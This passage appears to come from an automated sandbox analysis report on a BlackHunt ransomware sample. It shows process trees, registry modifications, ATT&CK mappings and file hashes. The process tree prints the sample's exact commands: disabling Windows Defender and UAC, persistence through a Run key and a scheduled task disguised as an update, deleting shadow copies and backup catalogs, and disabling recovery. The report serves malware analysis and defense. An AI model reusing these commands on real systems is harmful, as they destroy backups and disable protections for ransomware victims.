2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 54 PID 2992 wrote to memory of 268 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 54 PID 2992 wrote to memory of 268 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 54 PID 2992 wrote to memory of 2776 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 55 PID 2992 wrote to memory of 2776 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 55 PID 2992 wrote to memory of 2776 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 55 PID 2992 wrote to memory of 2776 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 55 PID 2600 wrote to memory of 2764 2600 cmd.exe 146 PID 2600 wrote to memory of 2764 2600 cmd.exe 146 PID 2600 wrote to memory of 2764 2600 cmd.exe 146 PID 2992 wrote to memory of 2772 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 58 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe"C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2992 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2628
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵PID:2764
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2552
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2648
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1312
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:1544
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1716
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2404
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:108
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2744
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1956
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2032
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:268
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2008
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2776
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2772
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:824
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2788
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2872
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2916
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:792
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:748
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2452
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2948
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1512
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2956
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:876
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2180
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1796
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2004
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2444
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1744
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2356
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2520
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2156
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1732
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2556
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2676
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:868
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1196
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1884
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:536
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2244
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1700
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:344
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe" /F2⤵PID:2380
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe" /F3⤵
- Creates scheduled task(s)
PID:2252
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2464
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1644
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2952
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1140
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1048
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1744
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:752
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2268
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2428
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:288
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:432
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:520
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2120
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2208
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1876
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2608
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1444
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵
- Modifies registry class
PID:2764
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1516
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2544
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵PID:876
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3068
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2800
Network
-
Remote address:8.8.8.8:53Requestip-api.comIN AResponseip-api.comIN A208.95.112.1
-
98 B 52 B 2 1
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
12KB
MD54a675e0796467c8daab3070c7919a526
SHA139d9a32745efc9fca79b70a87ab6639181c7aa3a
SHA256eaafe43921bc7e4d6ed482318390fce918479a47bfd970041b5f9cd47c15aaa2
SHA512e0efc06a27bfe6cdba85aedfe70f8f3243de3cb8e2af44a5c0425bce659d82be46c7e7ca491d05205ccb81fa28c5982d4cafbccacbcfca7bc9fe355be151fc9c
-
Filesize
1KB
MD527a71b504a8d0ccdfb2786eb345f4cf0
SHA11da56af889f5a30c90b899067439a7ae0de717b4
SHA256927c51fcde5e042bcfc85114db6e322c7ad2585c5d7fcc979f8d2ae73a02c432
SHA512e863460cf438d37945ce0da3f1b33b07454ac159d17faa4fc2ff1c3403486bf3aa21a923e23252a4ae71d0f6d079793df54d5ac1e604d3e9ed43334da8415d3a
-
Filesize
684B
MD520dfb70c122ea785f382599ebee0120e
SHA180146750a8abdbe9375fa07d7ccc0a7634536461
SHA256cc3369125c604d21d2607f342bbebed20d578010ab16170882cf0d0e399331ab
SHA512a6e0cc13d770e6215426416f8bacacebb540c1e64a0a484a2ad7e64800f497dddb158db62f3344ce43bc9be38d43609b4967a9837c6d83fae276a78f5e9bb26d